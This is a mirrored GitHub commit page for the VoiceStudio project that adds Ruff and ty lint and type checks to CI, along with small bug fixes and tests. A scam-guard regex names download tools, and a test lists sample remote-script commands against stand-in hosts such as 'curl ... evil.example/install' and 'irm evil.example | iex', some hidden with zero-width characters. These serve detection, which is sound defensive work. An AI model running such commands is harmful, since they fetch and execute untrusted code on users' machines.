mirror of
https://github.com/debpalash/VoiceStudio.git
synced 2026-12-04 01:18:16 +00:00
ci(python): gate Ruff and ty on the rules the code already passes (#4614)
* ci(python): gate Ruff and ty on the rules the code already passes Ruff and ty are pinned in the dev group (never installed for users: the app syncs with --no-dev and Docker installs without groups). CI's first Python shard and `bun run lint:py` run the same checks. - Ruff checks runtime-bug rules: syntax, undefined names and exports, f-strings without fields, invalid characters, dropped asyncio tasks. - ty fails on any rule the code passes today; the 23 rules with a backlog warn, so new instances of every other rule fail CI. Fixes what the rules found: - The setup warmup task was not referenced and could be garbage-collected mid-load; it is now held until it finishes. - A perf-budget test fake called time.sleep without importing time. - The scam guard's invisible-character class is written as escapes. - Type-only names (httpx, Callable) are imported under TYPE_CHECKING. * changelog: add fragment for #4614 * build(python): let lint:py sync the pinned tools before running them
This commit is contained in:
1 parent
644c0449ed
commit
012eb41e3a
20 files changed
+252
-14
No files matched your search
@@ -240,6 +240,9 @@ Batch related small fixes into one pull request rather than opening many.
|
||||
uv run pytest tests/ -q -n auto
|
||||
uv run pytest backend/tests/ -q
|
||||
|
||||
# Python lint and type check (Ruff and ty, as CI runs them)
|
||||
bun run lint:py
|
||||
|
||||
# Frontend build check
|
||||
bun run check:electron
|
||||
```
|
||||
@@ -295,6 +298,15 @@ class MyEngineBackend(TTSBackend):
|
||||
|
||||
### Python (Backend)
|
||||
|
||||
- **Lint and types**: `bun run lint:py` runs [Ruff](https://docs.astral.sh/ruff/)
|
||||
and [ty](https://docs.astral.sh/ty/), pinned in the `dev` group of
|
||||
`pyproject.toml`, exactly as CI does. Ruff checks the rules that catch
|
||||
runtime bugs (undefined names, f-strings without fields, dropped asyncio
|
||||
tasks); `bun run fix:py` applies its safe fixes. ty fails on any type error
|
||||
in a rule the code already passes; rules with a backlog are listed as
|
||||
warnings in `[tool.ty.rules]`, so fix a few when you touch nearby code and
|
||||
delete a rule's line once it is clean. Editor extensions: Ruff
|
||||
(`charliermarsh.ruff`) and ty (`astral-sh.ty`) read the same settings.
|
||||
- **Formatter**: We don't enforce one globally — match the style of the file you're editing
|
||||
- **Logging**: Use `logger.warning()` / `logger.error()`, never bare `print()`
|
||||
- **Exceptions**: Avoid bare `except: pass` — catch specific exceptions
|
||||
|
||||
@@ -62,7 +62,7 @@ COMMENT_WARNING = f"""{WARNING_MARKER}
|
||||
# ── Pure logic (unit-tested) ────────────────────────────────────────────
|
||||
|
||||
# Invisible characters scammers use to break up keywords.
|
||||
_INVISIBLE = re.compile("[--]")
|
||||
_INVISIBLE = re.compile("[\u00ad\u200b-\u200f\u2060-\u2064\ufeff]")
|
||||
_FETCH = re.compile(
|
||||
r"\b(?:irm|iwr|invoke-restmethod|invoke-webrequest|curl(?:\.exe)?|wget|"
|
||||
r"downloadstring|downloadfile|start-bitstransfer)\b",
|
||||
|
||||
@@ -286,6 +286,14 @@ jobs:
|
||||
HF_HUB_OFFLINE: "1"
|
||||
VOICESTUDIO_TEST_SHARD: ${{ matrix.shard }}/2
|
||||
|
||||
# Ruff (runtime-bug rules) and ty (rules the code already passes; the
|
||||
# backlog warns). Versions come from uv.lock, the same as `bun run lint:py`.
|
||||
- name: Python lint and type check
|
||||
if: steps.pass.outputs.hit != 'true' && matrix.shard == 1
|
||||
run: |
|
||||
uv run --no-sync ruff check --output-format github
|
||||
uv run --no-sync ty check --exit-zero-on-warning --output-format concise
|
||||
|
||||
# `backend/tests/` mounts routers on bare FastAPI apps (no heavy main
|
||||
# import chain) with a hermetic data dir from its conftest.py. It no
|
||||
# longer stubs sys.modules, so mixed sessions with tests/ are safe;
|
||||
|
||||
Vendored
+3
@@ -0,0 +1,3 @@
|
||||
{
|
||||
"recommendations": ["charliermarsh.ruff", "astral-sh.ty"]
|
||||
}
|
||||
@@ -2568,10 +2568,10 @@ async def dub_transcribe_stream(
|
||||
# err_sentinel == DIARIZATION_ERR_LOAD (or unexpected None
|
||||
# with a resolved token — historical safety net).
|
||||
detail = (
|
||||
f"The installed speaker diarization model failed to load. "
|
||||
f"See Settings > Logs > Backend for "
|
||||
f"the underlying error. Falling back to a silence-gap "
|
||||
f"heuristic; rapid speaker turns may be merged."
|
||||
"The installed speaker diarization model failed to load. "
|
||||
"See Settings > Logs > Backend for "
|
||||
"the underlying error. Falling back to a silence-gap "
|
||||
"heuristic; rapid speaker turns may be merged."
|
||||
)
|
||||
from core.windows_rocm.pipelines import pipeline_error
|
||||
if compatibility := pipeline_error():
|
||||
|
||||
@@ -911,6 +911,10 @@ def preflight():
|
||||
|
||||
# ── Warmup ─────────────────────────────────────────────────────────────────
|
||||
|
||||
# The event loop keeps only weak references to tasks: hold each warmup until it
|
||||
# finishes, or it can be garbage-collected partway through loading the model.
|
||||
_warmup_tasks: set[asyncio.Task] = set()
|
||||
|
||||
@router.post("/setup/warmup", dependencies=[Depends(require_consumer)])
|
||||
async def setup_warmup():
|
||||
"""Trigger a model load in the background so the first dub doesn't pay
|
||||
@@ -929,5 +933,7 @@ async def setup_warmup():
|
||||
return
|
||||
logger.warning("setup/warmup: model load failed: %s", e)
|
||||
|
||||
loop.create_task(_do_warmup())
|
||||
task = loop.create_task(_do_warmup())
|
||||
_warmup_tasks.add(task)
|
||||
task.add_done_callback(_warmup_tasks.discard)
|
||||
return {"status": "warmup_started"}
|
||||
@@ -1886,7 +1886,7 @@ def select_default_engine() -> str:
|
||||
|
||||
|
||||
__all__ = [
|
||||
"OmniVoiceGGUFBackend",
|
||||
"OmniVoiceGGUFBackend", # noqa: F822 - built on first access by __getattr__ above
|
||||
"select_default_engine",
|
||||
"_allowed_quant_filenames",
|
||||
"_load_quant_map",
|
||||
|
||||
@@ -42,6 +42,11 @@ import re
|
||||
import stat
|
||||
import sys
|
||||
|
||||
from typing import TYPE_CHECKING
|
||||
|
||||
if TYPE_CHECKING:
|
||||
import httpx # imported where used, so the server starts without it
|
||||
|
||||
logger = logging.getLogger("omnivoice.mcp")
|
||||
|
||||
|
||||
|
||||
@@ -42,7 +42,10 @@ from core.asr_budget import transcribe_budget_s
|
||||
|
||||
from abc import ABC, abstractmethod
|
||||
from collections import OrderedDict
|
||||
from typing import Optional
|
||||
from typing import TYPE_CHECKING, Optional
|
||||
|
||||
if TYPE_CHECKING:
|
||||
from collections.abc import Callable
|
||||
|
||||
logger = logging.getLogger("omnivoice.asr")
|
||||
|
||||
|
||||
@@ -0,0 +1 @@
|
||||
Python code is now checked with Ruff and ty in CI and with `bun run lint:py`, catching undefined names, dropped background tasks and new type errors before they ship (#4614)
|
||||
@@ -33,6 +33,8 @@
|
||||
"test": "bun run --cwd electron test",
|
||||
"typecheck": "bun run --cwd electron typecheck",
|
||||
"lint": "bun run --cwd electron lint",
|
||||
"lint:py": "uv run ruff check && uv run ty check --exit-zero-on-warning",
|
||||
"fix:py": "uv run ruff check --fix",
|
||||
"format": "bun run --cwd electron format",
|
||||
"dist:dir": "bun run --cwd electron dist:dir --publish never"
|
||||
},
|
||||
|
||||
@@ -373,8 +373,70 @@ dev = [
|
||||
"pytest>=9.0.3",
|
||||
"pytest-asyncio>=1.3.0",
|
||||
"pytest-xdist>=3.6",
|
||||
# Python lint and type check (`bun run lint:py`); pinned exactly so local
|
||||
# runs and CI report the same findings. Never installed for users: the app
|
||||
# syncs with --no-dev and Docker installs the project without groups.
|
||||
"ruff==0.17.6",
|
||||
"ty==1.1.0",
|
||||
]
|
||||
|
||||
# Ruff and ty gate CI on the rules below. Each starts at the rules the code
|
||||
# already passes, so a new instance fails the check; widen the lists as the
|
||||
# backlog of the other rules is fixed, never by adding blanket ignores.
|
||||
[tool.ruff]
|
||||
target-version = "py311"
|
||||
extend-exclude = ["research", "vendor", "notebooks", "omnivoice-gallery", "native", "electron", "mobile"]
|
||||
|
||||
[tool.ruff.lint]
|
||||
# Errors that are bugs at runtime: syntax, undefined names and exports,
|
||||
# misused comparisons, f-strings without fields, invalid characters and
|
||||
# fire-and-forget asyncio tasks that the event loop may garbage-collect.
|
||||
select = ["E9", "F63", "F7", "F82", "F541", "PLE", "RUF006"]
|
||||
|
||||
[tool.ruff.lint.per-file-ignores]
|
||||
# These tests bind the module's names in an autouse fixture (see its
|
||||
# docstring), so the names exist only at run time.
|
||||
"tests/backend/services/test_audiocpp_drama3_backend.py" = ["F821"]
|
||||
"tests/test_audiobook_expressive.py" = ["F821"]
|
||||
|
||||
[tool.ty.environment]
|
||||
python-version = "3.11"
|
||||
# The backend imports its modules from backend/ (`from services import ...`).
|
||||
root = [".", "backend", "cli"]
|
||||
# Checked as on Linux everywhere, so local runs and CI agree on platform branches.
|
||||
python-platform = "linux"
|
||||
|
||||
[tool.ty.src]
|
||||
include = ["backend", "omnivoice", "cli", "scripts", "tests"]
|
||||
|
||||
[tool.ty.rules]
|
||||
# Rules with findings today warn (listed in CI, fixed as a backlog); every
|
||||
# other rule stays an error, so CI fails on its first new instance. Move a rule
|
||||
# back to error by deleting its line once its count reaches zero.
|
||||
import-not-found = "warn" # 80
|
||||
incompatible-method-override = "warn" # 25
|
||||
incompatible-mutable-override = "warn" # 3
|
||||
incompatible-property-override = "warn" # 21
|
||||
invalid-argument-type = "warn" # 1007
|
||||
invalid-assignment = "warn" # 108
|
||||
invalid-await = "warn" # 1
|
||||
invalid-explicit-return = "warn" # 9
|
||||
invalid-parameter-default = "warn" # 6
|
||||
invalid-raise = "warn" # 3
|
||||
invalid-type-form = "warn" # 1
|
||||
lost-keyword-for-regular-parameter = "warn" # 2
|
||||
missing-argument = "warn" # 5
|
||||
missing-attribute = "warn" # 461
|
||||
missing-module-member = "warn" # 1
|
||||
missing-union-attribute = "warn" # 648
|
||||
no-matching-overload = "warn" # 41
|
||||
not-callable = "warn" # 46
|
||||
not-iterable = "warn" # 20
|
||||
not-subscriptable = "warn" # 218
|
||||
unknown-argument = "warn" # 2
|
||||
unresolved-reference = "warn" # 84
|
||||
unsupported-operator = "warn" # 125
|
||||
|
||||
[tool.pytest.ini_options]
|
||||
# Bare `pytest` would otherwise walk into `research/` (1.2 GB of vendored
|
||||
# upstream projects, each with its own test_*.py that calls sys.exit at
|
||||
|
||||
@@ -222,8 +222,8 @@ def main(argv: list[str] | None = None) -> int:
|
||||
if args.dry_run:
|
||||
if current == candidate:
|
||||
print(
|
||||
f"info: current PINNED_REVISION_SHA already matches "
|
||||
f"(no change needed)",
|
||||
"info: current PINNED_REVISION_SHA already matches "
|
||||
"(no change needed)",
|
||||
file=sys.stderr,
|
||||
)
|
||||
return 2
|
||||
|
||||
+1
-1
@@ -302,7 +302,7 @@ def main(argv=None):
|
||||
n = _count_cudnn8_libs(lib_dir)
|
||||
print(f"✓ cuDNN 8 installed: {n} libraries")
|
||||
except subprocess.CalledProcessError as e:
|
||||
print(f"⚠ cuDNN 8 install failed (transcription may not work on CUDA):")
|
||||
print("⚠ cuDNN 8 install failed (transcription may not work on CUDA):")
|
||||
print(f" {(e.stderr or '')[:300]}")
|
||||
except Exception as e:
|
||||
print(f"⚠ cuDNN 8 install skipped: {e}")
|
||||
|
||||
@@ -32,6 +32,7 @@ clear reason until that branch merges; they were validated against it.
|
||||
from __future__ import annotations
|
||||
|
||||
import os
|
||||
import time
|
||||
|
||||
os.environ.setdefault("OMNIVOICE_MODEL", "test")
|
||||
os.environ.setdefault("OMNIVOICE_DISABLE_FILE_LOG", "1")
|
||||
|
||||
@@ -0,0 +1,44 @@
|
||||
"""CI and `bun run lint:py` run the same pinned Ruff and ty checks.
|
||||
|
||||
The gate only holds if the tools are declared (so `uv sync` installs them for
|
||||
CI and contributors alike), pinned exactly (so both report the same findings),
|
||||
and run by CI with ty failing on errors but not on the warned backlog.
|
||||
"""
|
||||
from __future__ import annotations
|
||||
|
||||
import json
|
||||
import re
|
||||
import tomllib
|
||||
from pathlib import Path
|
||||
|
||||
import yaml
|
||||
|
||||
ROOT = Path(__file__).resolve().parents[1]
|
||||
PYPROJECT = tomllib.loads((ROOT / "pyproject.toml").read_text(encoding="utf-8"))
|
||||
|
||||
|
||||
def _python_job_commands() -> str:
|
||||
workflow = yaml.safe_load((ROOT / ".github/workflows/ci.yml").read_text(encoding="utf-8"))
|
||||
steps = workflow["jobs"]["test-python"]["steps"]
|
||||
return "\n".join(step.get("run", "") for step in steps)
|
||||
|
||||
|
||||
def test_ruff_and_ty_are_pinned_dev_tools():
|
||||
dev = PYPROJECT["dependency-groups"]["dev"]
|
||||
for tool in ("ruff", "ty"):
|
||||
pins = [dep for dep in dev if re.match(rf"{tool}\s*==\s*\d", dep)]
|
||||
assert pins, f"{tool} must be pinned with == in the dev dependency group"
|
||||
|
||||
|
||||
def test_ci_runs_the_same_checks_as_lint_py():
|
||||
commands = _python_job_commands()
|
||||
assert re.search(r"uv run --no-sync ruff check\b", commands)
|
||||
assert re.search(r"uv run --no-sync ty check --exit-zero-on-warning\b", commands)
|
||||
script = json.loads((ROOT / "package.json").read_text(encoding="utf-8"))["scripts"]["lint:py"]
|
||||
assert "ruff check" in script and "ty check --exit-zero-on-warning" in script
|
||||
|
||||
|
||||
def test_ty_backlog_only_warns_and_never_ignores():
|
||||
# A rule set to "ignore" would hide new instances; the backlog may only warn.
|
||||
rules = PYPROJECT["tool"]["ty"].get("rules", {})
|
||||
assert set(rules.values()) <= {"warn", "error"}, rules
|
||||
@@ -43,7 +43,7 @@ def test_the_3208_scam_is_caught_despite_the_decoy_url():
|
||||
'sh -c "$(curl -fsSL https://evil.example/install)"',
|
||||
"irm $u | iex", # target hidden in a variable
|
||||
"irm 203.0.113.9/x | iex", # bare IP
|
||||
"irm evil.example | iex", # zero-width characters
|
||||
"i\u200brm evil.example | i\u200bex", # zero-width characters
|
||||
"irm https://voicestudio.sh.evil.example | iex", # lookalike host
|
||||
"irm https://github.com/someone-else/VoiceStudio/raw/x.ps1 | iex",
|
||||
"irm https://raw.githubusercontent.com/debpalash/VoiceStudioFix/main/x | iex",
|
||||
|
||||
@@ -0,0 +1,37 @@
|
||||
"""POST /setup/warmup keeps its background model load alive until it finishes.
|
||||
|
||||
The event loop holds tasks only weakly, so a fire-and-forget warmup could be
|
||||
garbage-collected partway through loading the model.
|
||||
"""
|
||||
from __future__ import annotations
|
||||
|
||||
import asyncio
|
||||
import os
|
||||
import sys
|
||||
import types
|
||||
|
||||
os.environ.setdefault("OMNIVOICE_MODEL", "test")
|
||||
os.environ.setdefault("OMNIVOICE_DISABLE_FILE_LOG", "1")
|
||||
|
||||
|
||||
def test_warmup_task_is_held_until_it_finishes(monkeypatch):
|
||||
from api.routers.setup import wizard
|
||||
|
||||
async def scenario():
|
||||
release = asyncio.Event()
|
||||
|
||||
async def get_model():
|
||||
await release.wait()
|
||||
|
||||
monkeypatch.setitem(
|
||||
sys.modules, "services.model_manager", types.SimpleNamespace(get_model=get_model),
|
||||
)
|
||||
assert await wizard.setup_warmup() == {"status": "warmup_started"}
|
||||
(task,) = wizard._warmup_tasks
|
||||
assert not task.done()
|
||||
release.set()
|
||||
await task
|
||||
await asyncio.sleep(0)
|
||||
assert not wizard._warmup_tasks
|
||||
|
||||
asyncio.run(scenario())
|
||||
@@ -74,8 +74,8 @@ def test_lockfile_no_onnxruntime_double_install():
|
||||
f"expected exactly 1 'onnxruntime' row in uv.lock, found {len(cpu_rows)}"
|
||||
)
|
||||
assert len(gpu_rows) == 0, (
|
||||
f"uv.lock contains an onnxruntime-gpu row "
|
||||
f"(double-install risk per Pitfall 1)"
|
||||
"uv.lock contains an onnxruntime-gpu row "
|
||||
"(double-install risk per Pitfall 1)"
|
||||
)
|
||||
|
||||
|
||||
|
||||
@@ -4182,6 +4182,8 @@ dev = [
|
||||
{ name = "pytest" },
|
||||
{ name = "pytest-asyncio" },
|
||||
{ name = "pytest-xdist" },
|
||||
{ name = "ruff" },
|
||||
{ name = "ty" },
|
||||
]
|
||||
|
||||
[package.metadata]
|
||||
@@ -4281,6 +4283,8 @@ dev = [
|
||||
{ name = "pytest", specifier = ">=9.0.3" },
|
||||
{ name = "pytest-asyncio", specifier = ">=1.3.0" },
|
||||
{ name = "pytest-xdist", specifier = ">=3.6" },
|
||||
{ name = "ruff", specifier = "==0.17.6" },
|
||||
{ name = "ty", specifier = "==1.1.0" },
|
||||
]
|
||||
|
||||
[[package]]
|
||||
@@ -5951,6 +5955,31 @@ wheels = [
|
||||
{ url = "https://files.pythonhosted.org/packages/d2/67/be582a7370fdc9e6846c5be4888a530dcadd055eef5b932e0e85c33c7d73/ruamel_yaml_clib-0.2.15-cp314-cp314-win_amd64.whl", hash = "sha256:ac9b8d5fa4bb7fd2917ab5027f60d4234345fd366fe39aa711d5dca090aa1467", size = 122847, upload-time = "2025-11-16T16:13:51.807Z" },
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "ruff"
|
||||
version = "0.17.6"
|
||||
source = { registry = "https://pypi.org/simple" }
|
||||
sdist = { url = "https://files.pythonhosted.org/packages/df/8e/6929d337aa5380aafc7355f3149f3ccfe55cba5fdd34a045697ebaceb5a0/ruff-0.17.6.tar.gz", hash = "sha256:2b04276561331300325040bdca21460770029ec574d4c479099e39e8ad1ed43c", size = 5374388, upload-time = "2026-11-19T15:56:27.106Z" }
|
||||
wheels = [
|
||||
{ url = "https://files.pythonhosted.org/packages/12/5d/38ef6310c22cacb094e9ae0ff7964062e04ffeecb45ee296894c2b1acc54/ruff-0.17.6-py3-none-linux_armv6l.whl", hash = "sha256:084d9c8f5ec718e7eba007dba339e7cb4f7571d2f267558ae080bf428fb6a69b", size = 10174693, upload-time = "2026-11-19T15:55:52.414Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/a2/ed/fd35261049920a4888ef7c787a5c27089502077a4910f6ca8f1213157d6d/ruff-0.17.6-py3-none-macosx_10_12_x86_64.whl", hash = "sha256:9d44ef2140402043fd6f689ef541858b80883a8b0a02e38539ef0614ebe57d0c", size = 10221650, upload-time = "2026-11-19T15:55:54.962Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/ba/d4/c31391b36c729cd9fafa65b7a52a58850b99afb2b65da6be4263a53302f2/ruff-0.17.6-py3-none-macosx_11_0_arm64.whl", hash = "sha256:9fbddc08577592e283c265d865e0182de6e33db185494db7b06290d989d888e5", size = 9580986, upload-time = "2026-11-19T15:55:57.391Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/eb/11/f3032684dcb3a676d7924545153d76fb56f76753e038f2ea650b99c71bdf/ruff-0.17.6-py3-none-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:435241c61af5909a022f76219d3d1bf24730dc1bf0acabb5ddf4b569ab3cbb30", size = 10271368, upload-time = "2026-11-19T15:55:59.654Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/08/30/c1e024eeb5bae99ae78c6b896ed108f64c9c845a03b56eaeff098e99b6e6/ruff-0.17.6-py3-none-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:d006bbb2945edb17b0ce6a0c1b5f5a8d81ba11dbac294a0a925effa22ce34feb", size = 9981564, upload-time = "2026-11-19T15:56:01.807Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/7d/a5/da3e0c2d4bf02b3ca6c1d7fa4bb04d0081e340b1dd03c4f83b1bec3e15c1/ruff-0.17.6-py3-none-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:fd661702202a89c00a4c9d0339008805fa5876bfa1c57e165495c2e62230dfbf", size = 10641991, upload-time = "2026-11-19T15:56:03.981Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/4d/c1/6d7f981e86201c9db457cca99fd2c09b77574ebab37dff3e9239b218603c/ruff-0.17.6-py3-none-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:6a12c50a33936dc00db2be21ba25fb168a8b95c55eda2a3ac85005af69885e4b", size = 11403484, upload-time = "2026-11-19T15:56:05.778Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/c3/92/8182f07b94998541d5f8f38f53da465aa28062afce24ecc398f45bfc62f1/ruff-0.17.6-py3-none-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:b5aba93b3db4b70c5697e4fee6e0d5b9c8452a9a3a03679611cadc25915a2173", size = 10892316, upload-time = "2026-11-19T15:56:08.016Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/be/48/3df7d81249fd69ee6a49519b149fb5d11e13118fd7d0e8d65329a237087b/ruff-0.17.6-py3-none-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:aa3b08254a732acba246891089a152c47c5733dc36b8ecb76ce8602f8326e5e4", size = 10645279, upload-time = "2026-11-19T15:56:09.785Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/71/80/4d232281544345d7beb98d1d32c24dae804ed360780a6f7753738b81225e/ruff-0.17.6-py3-none-manylinux_2_31_riscv64.whl", hash = "sha256:0692088e6b33455572fb18465e891b443f196e98dc1986825685c77ff6f4c5ac", size = 10534501, upload-time = "2026-11-19T15:56:11.718Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/98/0a/b477f075a4a94eb541bf1c759a3e72b2a3d6390af7a13a5be0887229f67c/ruff-0.17.6-py3-none-musllinux_1_2_aarch64.whl", hash = "sha256:fb589e032806bb942e4fb526f30b80a1a64112147ed9f1d38cc3de2e255b6f45", size = 10136036, upload-time = "2026-11-19T15:56:13.779Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/f1/d8/cf32fbfeb1fcda1470fb5c3bee50c69ee6bca257d487ec1eb17a0387edb4/ruff-0.17.6-py3-none-musllinux_1_2_armv7l.whl", hash = "sha256:1939b3d701c7b6981b7cf93473de5bf88b129b9ba84efaed5154cc517c44634d", size = 9969640, upload-time = "2026-11-19T15:56:15.738Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/a7/22/bb9f9752f7fcdfdc8b9c51576cc142bb377ade745290e35085173963c7be/ruff-0.17.6-py3-none-musllinux_1_2_i686.whl", hash = "sha256:1a0bea6aa1216e0ec4cd35d3dbccec0d772a7c2aad28ec9c6e82571dff2c20b0", size = 10389427, upload-time = "2026-11-19T15:56:17.617Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/81/c7/e09d220818ab146b736d62e0676dad215215d7de0884bbdad9fa075dc7d2/ruff-0.17.6-py3-none-musllinux_1_2_x86_64.whl", hash = "sha256:3db61f5015600543a581b07fa7f6f64afa0eeedefe16034cadd88c4074087582", size = 10760296, upload-time = "2026-11-19T15:56:19.463Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/2e/09/28329441dfa2c463e2d377a69d4ebbe4d51665e9dbd49fb421f3bc80d775/ruff-0.17.6-py3-none-win32.whl", hash = "sha256:c2f4af6670b7a0501904e881bb3f1f24bd0d964dec1eedbd85f0eb73786e1128", size = 9966266, upload-time = "2026-11-19T15:56:21.581Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/4b/9d/18ba9730addfc7554c70d6f171fb8dc2c08e774d9fb2b98e7946ef845c59/ruff-0.17.6-py3-none-win_amd64.whl", hash = "sha256:9cd2fd9923e9806b8b6b67a3469e2258e84bd4d21e45d5a1a690afdfb9c8e57d", size = 10365847, upload-time = "2026-11-19T15:56:23.582Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/70/8a/59c33e2a64a4f9672f7f842a0dc522915cfbbaffd13d37d0cec57d1c5c5d/ruff-0.17.6-py3-none-win_arm64.whl", hash = "sha256:d8b14e1473dc86ab9069cf7a2ba5041dc012f59110201844ed04cfddf07055a0", size = 9926224, upload-time = "2026-11-19T15:56:25.269Z" },
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "s3prl"
|
||||
version = "0.4.18"
|
||||
@@ -7748,6 +7777,31 @@ wheels = [
|
||||
{ url = "https://files.pythonhosted.org/packages/19/97/56608b2249fe206a67cd573bc93cd9896e1efb9e98bce9c163bcdc704b88/truststore-0.10.4-py3-none-any.whl", hash = "sha256:adaeaecf1cbb5f4de3b1959b42d41f6fab57b2b1666adb59e89cb0b53361d981", size = 18660, upload-time = "2025-08-12T18:49:01.46Z" },
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "ty"
|
||||
version = "1.1.0"
|
||||
source = { registry = "https://pypi.org/simple" }
|
||||
sdist = { url = "https://files.pythonhosted.org/packages/69/81/565588d19a3733a3e4a37905ea493deae5eb1b5dca004eecb50ee9eb6f25/ty-1.1.0.tar.gz", hash = "sha256:d40e412870628ed0c30db26730a35e0034df10cae6e57a91b955fd431217aead", size = 8517559, upload-time = "2026-12-03T11:10:26.196Z" }
|
||||
wheels = [
|
||||
{ url = "https://files.pythonhosted.org/packages/dd/8a/6a85ece2a5b95104d1d466939ee2c7ca9e87c8a7fcefe061f34d91f7546a/ty-1.1.0-py3-none-linux_armv6l.whl", hash = "sha256:4ddf3c706271348da3422cb2c32596a4d776a2926a0958fe3b03b5eaf7d461a4", size = 15662756, upload-time = "2026-12-03T11:09:36.46Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/d3/6f/82715c54af12d356ea73ad765c38191a49aa3f922fcff91f354ace246f0c/ty-1.1.0-py3-none-macosx_10_12_x86_64.whl", hash = "sha256:7c177659c005d07c48d6042009adebc9c6caa0534d1728513e4681c2d7bb3a78", size = 15252134, upload-time = "2026-12-03T11:09:39.199Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/19/02/6391e44c429b85a9f9abff8762ce6b47d49d113d2a23fb227b488e0b3aa9/ty-1.1.0-py3-none-macosx_11_0_arm64.whl", hash = "sha256:e1f1ca57e35925fb8effb412f474d8142e37374b88e8960c33c45a08e33428f1", size = 14893642, upload-time = "2026-12-03T11:09:42.223Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/52/4c/468cf4856b693e589a264bf5b6571f67cc082ae3477c91a2b4a5412796ac/ty-1.1.0-py3-none-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:e9b831eabc4d48ae5c2dcd0e4a74adb90c09238978bb4caaa7a76bc7836cad74", size = 15786441, upload-time = "2026-12-03T11:09:45.141Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/0f/d8/4aa8e9a2277f1338921424544c90389f080c516e8476849c6cf86c2f2a8b/ty-1.1.0-py3-none-manylinux2014_armv7l.manylinux_2_17_armv7l.whl", hash = "sha256:40ff1867ec66b6bf2b1480f28b58b3f2b5bcb26307aefe21c02a7c5d0bcdaf02", size = 15383629, upload-time = "2026-12-03T11:09:48.346Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/4f/ff/1713f03f87c54e43689791ae34a7303834335cf223a88f4d80df5aa2650c/ty-1.1.0-py3-none-manylinux2014_i686.manylinux_2_17_i686.whl", hash = "sha256:5620a101862a790f2c1812a2ab708c5cc360a48d73abbbf34c7b4f5f386aef47", size = 16393378, upload-time = "2026-12-03T11:09:51.111Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/b5/78/f57678e32179ca1ae237edfb96d519dd35dd8966fd6cb5529e6f6326d82d/ty-1.1.0-py3-none-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:a55dd2a3707bba996a3e9390b9476e490503bef5a9673c3f5ceadfe08e5c3e58", size = 16795439, upload-time = "2026-12-03T11:09:54.309Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/58/26/15a62a42e6063e585bb62315644cd0fcfb0527ceaf5bcc4a57803ab81125/ty-1.1.0-py3-none-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:54f6951191b1018af35638a774b1ebdc508136b5fe921c4d4806a3f5b511e320", size = 16682328, upload-time = "2026-12-03T11:09:57.104Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/aa/48/527d2d7fbf6649785b06b25bec3383053cbd37742bf23dd2fb8a9c90c42e/ty-1.1.0-py3-none-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:c6e0858d96add9057b2509d445d2514fa80f085e5263e97ac47f8c2f374d2169", size = 18128705, upload-time = "2026-12-03T11:10:00.007Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/a4/ef/578d3ebc9504d8e90584cf52ee83ecae5819fbc9ce77a7d7a6fdb03cb202/ty-1.1.0-py3-none-manylinux_2_31_riscv64.whl", hash = "sha256:542afc2c72f7c0ff5659779014a4bbfea6462a99277174296a88a0cb6fd87c07", size = 16260113, upload-time = "2026-12-03T11:10:02.718Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/5c/e0/8757643789deea2c40fe9f1963f630b5a44454a78fda9f28c8b6545eb78f/ty-1.1.0-py3-none-musllinux_1_2_aarch64.whl", hash = "sha256:cf23b8cad2bf184cedfac0f945077956fc36c7797bca8f560bf8251c36319ac6", size = 15078784, upload-time = "2026-12-03T11:10:05.809Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/9e/b6/61706ab6bd5fd08d3ea5dc1f579188209d9b049684c42b4a5d5e1bab1417/ty-1.1.0-py3-none-musllinux_1_2_armv7l.whl", hash = "sha256:a6bc9dc190d60e50a92e5b16ba130202afb0ed86f6876ed71c3364360dfc96ee", size = 15390712, upload-time = "2026-12-03T11:10:08.57Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/4e/56/0ead9a992df2aaafd5fb84d01bd6c1f0fc9c6be13a9a15a613478a6a2a75/ty-1.1.0-py3-none-musllinux_1_2_i686.whl", hash = "sha256:935e91411be9fa3fac2fa2918b4717cc381d524d7a7a000a5b85f553155f990a", size = 15753662, upload-time = "2026-12-03T11:10:11.565Z" },
|
||||
